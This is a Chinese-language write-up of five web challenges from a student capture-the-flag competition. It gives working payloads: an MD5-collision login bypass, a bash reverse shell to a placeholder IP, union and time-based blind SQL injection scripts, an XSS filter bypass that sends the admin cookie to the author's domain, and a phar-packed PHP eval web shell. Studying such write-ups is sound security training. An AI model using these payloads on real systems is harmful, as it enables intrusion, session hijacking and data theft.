week3
1.神奇的MD5
描述
flag在根目录下(请善待学生机)
URL http://118.25.89.91:8080/question/login.php
打开之后是一个登陆界面,有username,password和secret code三个值
尝试登陆发现三个值任意两个相同都会提示"Your input can't be the same"
而都不同又会提示"Invalid password"
尝试注入等方式无果
上脚本扫一下目录
发现存在.login.php.swp文件
下载,vim -r还原后获得源码(去除无用部分):
<?php session_start(); error_reporting(0); if (@$_POST['username'] and @$_POST['password'] and @$_POST['code']) { $username = (string)$_POST['username']; $password = (string)$_POST['password']; $code = (string)$_POST['code']; if (($username == $password ) or ($username == $code) or ($password == $code)) { echo "Your input can't be the same"; } else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){ echo "Good"; header('Location: admin.php'); exit(); } else { echo "<pre> Invalid password</pre>"; } } ?>
可以看到基本逻辑是要求三个值均不相同,但md5值相同
之后会重定向到admin.php
尝试直接访问admin.php,提示要先登录
想到以前看过的关于md5碰撞的文章,可以用这个生成内容不同但md5相同的二进制文件
成功生成后使用curl带上cookie进行提交(别的方法我也不会):
curl -X POST http://118.25.89.91:8080/question/login.php --cookie 'you_cookie' --data-urlencode username@/path/python-md5-collision/out_test_000.txt --data-urlencode password@/path/python-md5-collision/out_test_001.txt --data-urlencode code@/path/python-md5-collision/out_test_002.txt
提交之后提示good
这时候访问admin.php,发现可以访问了
这是一个可以执行命令的页面
题目描述提到flag在根目录,于是cat /flag
发现被ban了
考虑反弹个shell
在自己vps上执行
nc -lvv 8123
在admin.php中执行
bash -c 'bash -i >& /dev/tcp/yourIP/8123 0>&1'
成功反弹,直接cat /flag即可
2.sqli-1
描述
sql 注入 参数是id
URL http://118.89.111.179:3000/
没啥好说的,有回显的数字型注入,手工注入即可
用了一个substr(md5($_GET["code"]),0,4) === xxxx的形式当验证码,python跑一下1-1000000对应的md5,一般都能找到合适的
最终payload:
id=-1%20union%20select%20`f14444444g`%20from%20hgame.f1l1l1l1g#
3.sqli-2
描述
sql 注入
URL http://118.89.111.179:3001/?id=1
盲注,似乎过滤了逗号或者if,总之if(1,1,sleep(1))的形式不能用,用case when then end的形式
没什么好说的,具体见脚本:
import hashlib import requests import re import string def calmd5(src): m = hashlib.md5() m.update(src.encode('UTF-8')) return m.hexdigest() def findcode(tomatch): for i in range(10000000): if calmd5(str(i))[:4] == tomatch: return i print('not found md5') s = requests.session() dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation flag = '' length = 0 for i in range(1,40): for j in dic: url1 = 'http://118.89.111.179:3001/' r = s.get(url1) match = re.search('substr\(md5\(\$_GET\["code"\]\),0,4\) === (.*)<br>', r.text) code = findcode(match.group(1)) # print(r.text) url2 = "http://118.89.111.179:3001/?code={0}&id=1%20and%20case%20when%20(ord(substring((select `fL4444Ag` from `F11111114G`)%20from%20{1}%20for%201))={2})%20then%20sleep(1)%20else%20sleep(0)%20end#".format(code, i, ord(j)) # print(url2) res = s.get(url2) # print(res.text) if res.elapsed.seconds >= 1: flag += j print(flag) break if i != len(flag): break
4.BabyXss
描述
save按钮尝试xss(尝试过程不需要输验证码),成功后带上验证码code,submit按钮提交xss语句;flag在admin的cookie里面,格式hgame{xxxxx}。
URL http://118.25.18.223:9000/index.php
打开之后是一个输入框
先用aaaaaaa做尝试寻找位置
发现直接在外面
尝试直接alert:
<script>alert(1);</script>
发现只剩下了"alert(1);",存在过滤
看这种形式是把
尝试以下方法
<scr<script>ipt>alert(1);</scr<script>ipt>
发现成功弹窗
当输入验证码提交后会提示
显然有一个机器人admin会访问我们植入xss代码的网页
而题目描述说flag在admin的cookie里,则可通过提交如下方式偷取cookie:
<scr<script>ipt>document.location = 'http://eustiar.com/?a='+document.cookie;</scr<script>ipt>
因为要先save再submit,而在save之后,因为自己的js代码已经插入到了页面中,所以访问该页面会直接跳转到我自己的网站,所以用burp提交
然后查看日志得到flag
5.基础渗透
描述
综合利用各种漏洞来getshell,然后找到被藏起来的flag。
URL http://111.231.140.29:10080
很有难度的一道题,本周的最后才(在大佬的提示下)做出来
打开页面发现是一个登录窗口,可以注册
注册之后是一个类似博客的东西,可以写/删留言,另一个页面可以上传头像,修改密码
先试试各部分功能,用burp抓抓包看看
再扫一下目录
发现除了login/register.php外,存在user.php、message.php等文件
注意到url的形式为
http://111.231.140.29:10080/index.php?action=user
作为一个web狗,凭直觉感觉这里可能存在文件包含
使用filter:
action=php://filter/read=convert.base64-encode/resource=user
发现果然可以读取源码
把源码都dump下来,审计
其中index.php源码如下
<?php include_once("template/header.php"); if (is_null($_SESSION['user_id'])) { header('Location:/login.php'); exit(); } $page = array_key_exists('action', $_GET) ? $_GET['action'] : 'message'; require $page .'.php'; include_once("template/footer.php"); ?>
这里使用了require进行了限定后缀为.php的文件包含
function.php包含了许多函数,其中上传头像部分如下:
function upload_avatar() { $type = $_FILES['file']['type']; $user_id = $_SESSION['user_id']; if ($type == 'image/gif' || $type == 'image/jpeg' || $type == 'image/png') { $avatar = get_avatar($user_id); if ($avatar == null) { $name = rand_filename(); move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png"); $sql_query = "update `users` set `avatar`='$name' WHERE `user_id`=$user_id"; sql_query($sql_query); } else { move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $avatar['name'] . ".png"); } } }
这里的判断类型非常容易绕过,上传的时候burp抓一下包,把content-type改成代码中限制的三种即可
那么目前的大致思路也有了
通过上传头像,上传一个shell,然后通过index的文件包含进行包含
问题是index中文件包含限定了后缀为.php
而从上述代码中可以看到,文件上传后名字变为rand_filename()+.png,前者在源码中有,是一个15字节的随机字符串
看到这里立马想到了航神之前给队内web训练出的题目,使用phar协议来绕过.php的后缀限制
具体可以看这篇文章
于是使用如下代码生成一个包含shell的phar文件
<?php $phar = new Phar('shell.phar', 0); $phar['shell.php'] = '<?php eval($_POST[\'cmd\']);?>' ; $phar->setStub('<?php __HALT_COMPILER();?>'); ?>
注意,使用phar要保证phar.readonly为off,在php.ini(找不到的可以看phpinfo)中设置
上传,用burp改一下type
完成后看一下源代码,发现的确上传成功了(base64解码为文件内容)
上传成功之后,现在就需要包含了,那么问题又来了,我们可以从源代码中知道头像文件的路径是img/avatar/***.png,但它的名字是随机的,我们并不知道
后来经过大佬提示,得知要通过sql注入找出文件名
继续审计,尝试过后发现在delete处存在时间盲注
function delete_message($message_id) { $user_id = $_SESSION['user_id']; if ($_POST['token'] === $_SESSION['token']) { if ($_SESSION['groups'] == 0) { $sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id"; } elseif ($_SESSION['groups'] == 1) { $sql_query = "delete from `messages` where `message_id`=$message_id"; } sql_query($sql_query); } }
其中的$message_id可控,经过了addslashes处理
sql注入就不多说了,看脚本:
import string import requests dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation flag = '' length = 0 cookie = { 'PHPSESSID':'eer7hhrr466rlnioiv7ip7btnm', 'user':'eustiar321', 'groups':'0' } data = { "message_id":" ", "token":"py3ZFHgeZu4w1qA9r5HYgAfvRFd9ZD7jmX0uXcpgOmWDPrG7" } for i in range(1,40): length = len(flag) for j in dic: url1 = 'http://111.231.140.29:10080/messages_api.php?action=delete' payload = "1825 and if(ord(substring((select `avatar` from `users` where `user_id`=501),{0},1))={1},sleep(1),sleep(0))%23".format(i, ord(j)) data["message_id"] = payload # print(data) res = requests.post(url1, cookies = cookie, data = data) if res.elapsed.seconds >= 1: flag += j print(flag) break if length == len(flag): break
可以得到文件名a06baba27158529
则通过action=phar://img/avatar/a06baba27158529.png/shell
可以使用shell
题目说flag藏起来了,那我们用find找一下:
find / -name 'flag'
找到两个结果:
/usr/lib/flag /usr/lib/flag/flag
前者是目录,后者是flag,不过我们没有权限查看,但flag目录下还有一个get_flag
运行/usr/lib/get_flag,给出用法,可以通过该程序读取flag(突然想到了这学期计算机系统安全课的内容)
最终payload:
action=phar://img/avatar/a06baba27158529.png/shell
同时post如下数据:
cmd=system("/usr/lib/flag/get_flag /usr/lib/flag/flag");